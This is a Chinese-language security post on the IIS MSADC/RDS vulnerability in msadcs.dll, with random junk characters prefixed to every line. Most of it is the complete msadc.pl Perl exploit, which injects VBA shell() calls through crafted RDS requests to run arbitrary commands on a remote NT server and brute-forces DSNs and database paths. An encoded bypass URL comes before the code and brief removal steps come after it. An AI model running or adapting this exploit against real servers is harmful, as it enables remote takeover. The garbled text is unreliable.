IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
.9=4Af B8"c+<b 涉及程序:
y!}XlllV Microsoft NT server
Vy[xu$y 8#tuB8> 描述:
oF]]Pl{W 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
I=
<eCv koS?UYF` 详细:
QdcuV\B} 如果你没有时间读详细内容的话,就删除:
&4} =@'G@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
ot2zY
dWAz 有关的安全问题就没有了。
42tZBz& vqQ)Pu?T 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
:[(%4se !l0"nPM= 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.{ljhE: 关于利用ODBC远程漏洞的描述,请参看:
cF=W hP*f cN?/YkW?] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %+,*$wk#* <%%)C>l 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
3h>L0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp H~vrCi~t" %,z;W-#gnY 这里不再论述。
4%8den,| ?E+f<jol 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
u kZK*Y9P CadIux^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1 hFh F^ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
p%sizn %kop's&?C \xl$z*zI #将下面这段保存为txt文件,然后: "perl -x 文件名"
z,E`+a; 3 )#Nc| #!perl
#}@8(>T #
Ee7+ob # MSADC/RDS 'usage' (aka exploit) script
L[D+= #
{~FPvmj& # by rain.forest.puppy
k+?gWZ\ #
GiM-8y~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Dt(D5A # beta test and find errors!
OaY89ko +swT MR use Socket; use Getopt::Std;
V>Z4gZp5sc getopts("e:vd:h:XR", \%args);
U_izKvEh y9/nkF1p print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
@#N7M2/ PWx%~U.8~j if (!defined $args{h} && !defined $args{R}) {
@MTv4eC}e print qq~
@~|;/OY>" Usage: msadc.pl -h <host> { -d <delay> -X -v }
x*'H@!!G -h <host> = host you want to scan (ip or domain)
Nb
!i_@m%s -d <seconds> = delay between calls, default 1 second
U?{oxy_[ 2 -X = dump Index Server path table, if available
Wu|MNB?M -v = verbose
X"q[rsB -e = external dictionary file for step 5
KN657 |f 'NCqI Or a -R will resume a command session
Gds(.]_ & C)1( ~; exit;}
,lvG5B\0 :2==7u7v? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^t7u4w! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
B|"i`{> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i.Y2]1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
BLaNS4e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
n-jPb064 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ovM;6o /J_],KdU if (!defined $args{R}){ $ret = &has_msadc;
zT6nC5E die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C,eP!_O nr
-< mQ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!DSm[Z1 . "cmd /c ";
82EvlmD $in=<STDIN>; chomp $in;
Z#Nw[>NN* $command="cmd /c " . $in ;
'SlZ-SdR i \/'w] if (defined $args{R}) {&load; exit;}
NNqvjM- }}]Lf 3; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_Y&.Nw &try_btcustmr;
yn]Sc<uK Lhux~,EH print "\nStep 2: Trying to make our own DSN...";
OOXSJE1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2P8wvNDG 1?|"33\03R print "\nStep 3: Trying known DSNs...";
oNPvks dC; &known_dsn;
P)f8lU^z g&F$hm print "\nStep 4: Trying known .mdbs...";
Y
?n4#J< &known_mdb;
d
([~o yc3/5]E& if (defined $args{e}){
&}P#<"Fo8Q print "\nStep 5: Trying dictionary of DSN names...";
vw3[(_MV3_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[fT$# '6 JZxA:dg
l print "Sorry Charley...maybe next time?\n";
c,;VnZ
9wC exit;
_^(1Qb[ ~!5Qb{^ ##############################################################################
H9ES|ZJs 579D sub sendraw { # ripped and modded from whisker
ZpOME@9, sleep($delay); # it's a DoS on the server! At least on mine...
LkzA_|8:D my ($pstr)=@_;
e>e${\=, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Bi
\fB-| die("Socket problems\n");
j;y(to-e>D if(connect(S,pack "SnA4x8",2,80,$target)){
u4xtlGt5 select(S); $|=1;
)mwwceN print $pstr; my @in=<S>;
pA_u;* select(STDOUT); close(S);
Hqs-q4G$ return @in;
gAztdAsLM } else { die("Can't connect...\n"); }}
P,)D0i q|]CA ##############################################################################
_wb]tE ~g l#^?sbG sub make_header { # make the HTTP request
%regt{ my $msadc=<<EOT
`~=z0I POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
w{[^ User-Agent: ACTIVEDATA
FqbGT(QB0 Host: $ip
srN7 Content-Length: $clen
}F.k,2 Connection: Keep-Alive
^8,prxaok %au>D ADCClientVersion:01.06
LFi* O& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
;DnUeE8 vI(LIfe; --!ADM!ROX!YOUR!WORLD!
}2RbX,0l9 Content-Type: application/x-varg
E+XS7':I Content-Length: $reqlen
LB]3-FsU+ K O\HH EOT
+l)t5Mg\ ; $msadc=~s/\n/\r\n/g;
c\rP
-"C return $msadc;}
}UGSE2^1 )Z/w|5< ##############################################################################
P
nE7} &53,8r sub make_req { # make the RDS request
$#5'c+0 my ($switch, $p1, $p2)=@_;
aL&egM* my $req=""; my $t1, $t2, $query, $dsn;
vO9=CCxvq Y0lLO0' if ($switch==1){ # this is the btcustmr.mdb query
IZ>l $query="Select * from Customers where City=" . make_shell();
Pb T2-
F_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:'<;]~f $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
SODHn9) .,qh,m\Fo elsif ($switch==2){ # this is general make table query
"y7\F9 $query="create table AZZ (B int, C varchar(10))";
]C"?xy $dsn="$p1";}
9"S iHp\) e&i`/m5 elsif ($switch==3){ # this is general exploit table query
f!YlYk5 $query="select * from AZZ where C=" . make_shell();
&P}t<; $dsn="$p1";}
|+HJ>xA4I 7z3tDE[# elsif ($switch==4){ # attempt to hork file info from index server
fCY??su*
$query="select path from scope()";
sDg1nKw( $dsn="Provider=MSIDXS;";}
3p HI+a ?nL,Otz elsif ($switch==5){ # bad query
d\3 %5Y $query="select";
1QmOUw}yj $dsn="$p1";}
2Uf/' G/3T0d+- $t1= make_unicode($query);
/]J\/Z> $t2= make_unicode($dsn);
zTMLE~w $req = "\x02\x00\x03\x00";
kGnT4R*E $req.= "\x08\x00" . pack ("S1", length($t1));
1CZO+MB&"$ $req.= "\x00\x00" . $t1 ;
L |#0CRiN $req.= "\x08\x00" . pack ("S1", length($t2));
fHZ9wK> $req.= "\x00\x00" . $t2 ;
@ls/3`E/5E $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
yId1J return $req;}
Y[PC<-fyf aLW3Ub{h ##############################################################################
Sw>>]UjU D[]0/+, sub make_shell { # this makes the shell() statement
ipGxi[Vav return "'|shell(\"$command\")|'";}
(?(gz#- ZZHQ?p- ##############################################################################
v\G7V !+Y+P? sub make_unicode { # quick little function to convert to unicode
-"H$&p~ my ($in)=@_; my $out;
H-e$~vEbP for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
t%^&b'/Z return $out;}
K^"l.V#J (
6zu*H) ##############################################################################
DEkv,e havmhS)O sub rdo_success { # checks for RDO return success (this is kludge)
G{X7;j e my (@in) = @_; my $base=content_start(@in);
C]JK'K<7- if($in[$base]=~/multipart\/mixed/){
Zz:%KUl3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
7y30TU return 0;}
5/U{b5 [8Z#HjhQ ##############################################################################
;m.6 ~A ^K J#dT sub make_dsn { # this makes a DSN for us
9:xs)t- _ my @drives=("c","d","e","f");
z8kebS&5 print "\nMaking DSN: ";
V,& OO foreach $drive (@drives) {
e#}Fm;|d print "$drive: ";
-\%5aXr my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
/ s Apj "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
\@h$|nb . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
nLk`W"irM $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6/g
82kqpk return 0 if $2 eq "404"; # not found/doesn't exist
se>\5k if($2 eq "200") {
pd,d"+ foreach $line (@results) {
/TB{|_HbW return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^A\(M%*F } return 0;}
]FvGAG.* "B +F6 ##############################################################################
Pz
D30VA QAo/d4 sub verify_exists {
u~FVI my ($page)=@_;
?9eiT:2 my @results=sendraw("GET $page HTTP/1.0\n\n");
zNo"P[J8 return $results[0];}
tD#) #Q=c.AL{ ##############################################################################
Qof%j@ L|(U%$ sub try_btcustmr {
bxO/FrwTj{ my @drives=("c","d","e","f");
hCgk78O? my @dirs=("winnt","winnt35","winnt351","win","windows");
H*N{4zBB as/PM" foreach $dir (@dirs) {
^ ~1QA print "$dir -> "; # fun status so you can see progress
yXEI%2~) foreach $drive (@drives) {
&'Nzw2 print "$drive: "; # ditto
T]/> c $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#k d9} $reqlenlen=length( "$reqlen" );
:nl,Ac $clen= 206 + $reqlenlen + $reqlen;
sEfT#$ a^8 Zi\ex\ )5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Vz-q7*o$S if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
csJ)Pt?d else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
~W4SFp :?ZrD,D ##############################################################################
2$t%2>1>@ Gi@c`lRd1 sub odbc_error {
Jwj=a1I 53 my (@in)=@_; my $base;
|Go$z3bx my $base = content_start(@in);
aTH$+f1?Q if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!RwhVaSh $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pH3\X
cn $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w03Ur4>T $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WH7UJCQ return $in[$base+4].$in[$base+5].$in[$base+6];}
{LA?v& b' print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
a!u5}[{ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
R@ Gll60 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
H!"TS-s` g$Vr9MH ##############################################################################
V)5,E>;EN ofz?L#:2 sub verbose {
Q*'OY~ my ($in)=@_;
;0 +Dx~ return if !$verbose;
km^ZF<. @ print STDOUT "\n$in\n";}
SS_6VE*sI .ej+?QYwC ##############################################################################
p9\*n5{ EvY^]M_U sub save {
{<}Hut:a my ($p1, $p2, $p3, $p4)=@_;
\WdSj open(OUT, ">rds.save") || print "Problem saving parameters...\n";
x\:KfYr4Y; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
br k*; close OUT;}
+`mI\+y, <rui\/4NJ ##############################################################################
:w|=o9J G^VOA4 sub load {
bF,.6iKI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
't*]6^ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
?-9uf\2_ @p=<IN>; close(IN);
ku}`PS0UGd $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
o>yXEg $target= inet_aton($ip) || die("inet_aton problems");
MwQt/Qv= print "Resuming to $ip ...";
fiU#\%uJg $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
# SJJ@SM if($p[1]==1) {
_"t>72
`
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
S+t2k&pm $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
,-(D(J;}1 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
A yn$, if (rdo_success(@results)){print "Success!\n";}
NZ!I > else { print "failed\n"; verbose(odbc_error(@results));}}
1#+|RL4o elsif ($p[1]==3){
./'d^9{ if(run_query("$p[3]")){
eMV8`&c' print "Success!\n";} else { print "failed\n"; }}
@y * TVy elsif ($p[1]==4){
rHOhi|+ if(run_query($drvst . "$p[3]")){
`e3$jy@ print "Success!\n"; } else { print "failed\n"; }}
JwWxM3(%t exit;}
Y8lZ]IB
SH8zkAA7u} ##############################################################################
B#5[PX -lv(@7o~ sub create_table {
$XkO\6kh my ($in)=@_;
gyh8 $reqlen=length( make_req(2,$in,"") ) - 28;
V=1zk-XC $reqlenlen=length( "$reqlen" );
jr#*;go $clen= 206 + $reqlenlen + $reqlen;
E&@#*~ my @results=sendraw(make_header() . make_req(2,$in,""));
<_=O0 t|6 return 1 if rdo_success(@results);
c1y+kvv my $temp= odbc_error(@results); verbose($temp);
x7i<dg& return 1 if $temp=~/Table 'AZZ' already exists/;
BE~-0g$W return 0;}
QSM3qke R(P(G;#j ##############################################################################
0sme0"Sl 9pS:#hg sub known_dsn {
Sx0{]1J # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@k'V`ZQF my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^f"|<r "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`2x. - "banner", "banners", "ads", "ADCDemo", "ADCTest");
^rjUye%EK 7ju38@+ foreach $dSn (@dsns) {
4"!kCUB print ".";
!V/7q'&t= next if (!is_access("DSN=$dSn"));
N cGFPi(Z if(create_table("DSN=$dSn")){
cg9}T[A print "$dSn successful\n";
z>
DQ if(run_query("DSN=$dSn")){
B/n~ $ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e0Gs|c+6 print "Something's borked. Use verbose next time\n";}}} print "\n";}
oZl%0Uy?9I 15aPoxo> ##############################################################################
7kT X BTG_c_?]e sub is_access {
Hfo<EB2Y9N my ($in)=@_;
`f~$h?}3-@ $reqlen=length( make_req(5,$in,"") ) - 28;
mDD96y $reqlenlen=length( "$reqlen" );
YH^@8
$clen= 206 + $reqlenlen + $reqlen;
EQ :>]O my @results=sendraw(make_header() . make_req(5,$in,""));
-XwS?*O my $temp= odbc_error(@results);
%,ScGQE verbose($temp); return 1 if ($temp=~/Microsoft Access/);
E m +&I return 0;}
Rxlv: V U5</si+ ##############################################################################
SK 5]7C2 v?Cakwu sub run_query {
b+hN\/*] my ($in)=@_;
@qx$b~% $reqlen=length( make_req(3,$in,"") ) - 28;
8ZCA
vEy $reqlenlen=length( "$reqlen" );
]gaeN2 $clen= 206 + $reqlenlen + $reqlen;
HPt\ BK my @results=sendraw(make_header() . make_req(3,$in,""));
d'3"A"9R7- return 1 if rdo_success(@results);
bs16G3-p my $temp= odbc_error(@results); verbose($temp);
'Yc^9;C( return 0;}
Z*h}E fZ;}_wR-H ##############################################################################
>dD$GD{ \$ss sub known_mdb {
W@'*G*f my @drives=("c","d","e","f","g");
b^ [ z' my @dirs=("winnt","winnt35","winnt351","win","windows");
$MfRw my $dir, $drive, $mdb;
?<8c my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\ n^[!e"` 5dD8s-;^T # this is sparse, because I don't know of many
/<(-lbq, my @sysmdbs=( "\\catroot\\icatalog.mdb",
KHJ wCv "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
EN}XIa>R "\\system32\\certmdb.mdb",
aD_7^8> "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]fU&?z# H~>8q~o] my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9nFWJn "\\cfusion\\cfapps\\forums\\forums_.mdb",
KH=3HN} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
$\~cWpv "\\cfusion\\cfapps\\security\\realm_.mdb",
Y3(I;~$! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
yaWY>sB "\\cfusion\\database\\cfexamples.mdb",
+*Uv+oC| "\\cfusion\\database\\cfsnippets.mdb",
x7`+T1IJ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
;)P=WS:= "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
TqfL
Sm| "\\cfusion\\brighttiger\\database\\cleam.mdb",
Ck"db30. "\\cfusion\\database\\smpolicy.mdb",
u&UmI-} "\\cfusion\\database\cypress.mdb",
R osU~OK "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
O/d]2<V "\\website\\cgi-win\\dbsample.mdb",
suGd &eP| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_Rkvg- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
dn Sb}J ); #these are just
f\.y z[ foreach $drive (@drives) {
cx&\oP foreach $dir (@dirs){
n4}e!
foreach $mdb (@sysmdbs) {
twbxi{8e. print ".";
8ZM#.yBB if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
GU/-L<g print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
P4eH:0=# if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Q7<VuXy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
U|\ .)h= } else { print "Something's borked. Use verbose next time\n"; }}}}}
Q6e7Z-8 Cg`lQYU foreach $drive (@drives) {
7l~^KsX foreach $mdb (@mdbs) {
*,*O.#<6 print ".";
~kSOYvK$' if(create_table($drv . $drive . $dir . $mdb)){
t*A[v print "\n" . $drive . $dir . $mdb . " successful\n";
"bWx< if(run_query($drv . $drive . $dir . $mdb)){
NJ-Ji> w print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
T:H~Y+qnt } else { print "Something's borked. Use verbose next time\n"; }}}}
9&`";dg }
>7~*j4g 4m"0R\ ##############################################################################
zH9*w:"4<_ .cw)Y#;IG sub hork_idx {
hN]l
$Ct print "\nAttempting to dump Index Server tables...\n";
5;^1Ab0 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
S?C.: $reqlen=length( make_req(4,"","") ) - 28;
iF837ng5 $reqlenlen=length( "$reqlen" );
UwF-*(#41 $clen= 206 + $reqlenlen + $reqlen;
p|mFF0SL my @results=sendraw2(make_header() . make_req(4,"",""));
Q.h.d)) if (rdo_success(@results)){
dGkw%3[ my $max=@results; my $c; my %d;
8e,F{>N for($c=19; $c<$max; $c++){
)Ho"b $results[$c]=~s/\x00//g;
KZVdW@DY $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4>v O9q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
j6XHH&ZEb $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
m.1-[ 2{8~ $d{"$1$2"}="";}
J:&.[ foreach $c (keys %d){ print "$c\n"; }
CYwV]lq:s } else {print "Index server doesn't seem to be installed.\n"; }}
+'MO$&6 Tcc83_Iq ##############################################################################
BnGoB`n CmBgay sub dsn_dict {
>P\eHR,{- open(IN, "<$args{e}") || die("Can't open external dictionary\n");
c_M[>#` while(<IN>){
|B*B>P# $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
BmccSC;o4 next if (!is_access("DSN=$dSn"));
:
xggo if(create_table("DSN=$dSn")){
"e8EA!Ipte print "$dSn successful\n";
:D-D+x if(run_query("DSN=$dSn")){
#W3H;'~/5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_od /)# print "Something's borked. Use verbose next time\n";}}}
_;Xlw{FN^ print "\n"; close(IN);}
)z18:C3 @U1|?~M%s ##############################################################################
r=vY-p 5$HG#2"Kb# sub sendraw2 { # ripped and modded from whisker
R9#ar{ sleep($delay); # it's a DoS on the server! At least on mine...
y %61xA`# my ($pstr)=@_;
bu_@A^ys socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d,(q3 die("Socket problems\n");
_X;,,VEV! if(connect(S,pack "SnA4x8",2,80,$target)){
ZeU){CB print "Connected. Getting data";
SOM? 0. open(OUT,">raw.out"); my @in;
T#E$sZ select(S); $|=1; print $pstr;
3\
Mt+!1{ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<HN+pi close(OUT); select(STDOUT); close(S); return @in;
@SiV3k } else { die("Can't connect...\n"); }}
0a8\{(w h-;> v. ##############################################################################
<jF&+[*iT S Z/yijf sub content_start { # this will take in the server headers
bPP@ my (@in)=@_; my $c;
ipp`9 9 for ($c=1;$c<500;$c++) {
X{,mj"(w if($in[$c] =~/^\x0d\x0a/){
ex1!7A!}g if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
N|2d9E else { return $c+1; }}}
&oB*gGRw=7 return -1;} # it should never get here actually
xR&:]M[Vg 26nwUNak ##############################################################################
N0kCdJv )j~{P sub funky {
K{/i2^4 my (@in)=@_; my $error=odbc_error(@in);
t,8?Tf+i if($error=~/ADO could not find the specified provider/){
"#7Q}d!x print "\nServer returned an ADO miscofiguration message\nAborting.\n";
f77W{T4 exit;}
!-470J if($error=~/A Handler is required/){
F1- "yX1B print "\nServer has custom handler filters (they most likely are patched)\n";
7z1@XO<D exit;}
LmqSxHs0Q if($error=~/specified Handler has denied Access/){
'h'pM#D print "\nServer has custom handler filters (they most likely are patched)\n";
hp(MKfh H exit;}}
,\P|%yv "U4c'iW ##############################################################################
YjTr49Af0 U,v`md@PX sub has_msadc {
|UWIV my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
eZ]r"_? my $base=content_start(@results);
/*Q3=Dse] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
X=)L$Kd7 return 0;}
*<:X3|3E (_@5V_U ########################
<ml?DXT m[2[9bQ0
*~U.36 解决方案:
JWg.0d$hM 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
fg#e*7Odn 2、移除web 目录: /msadc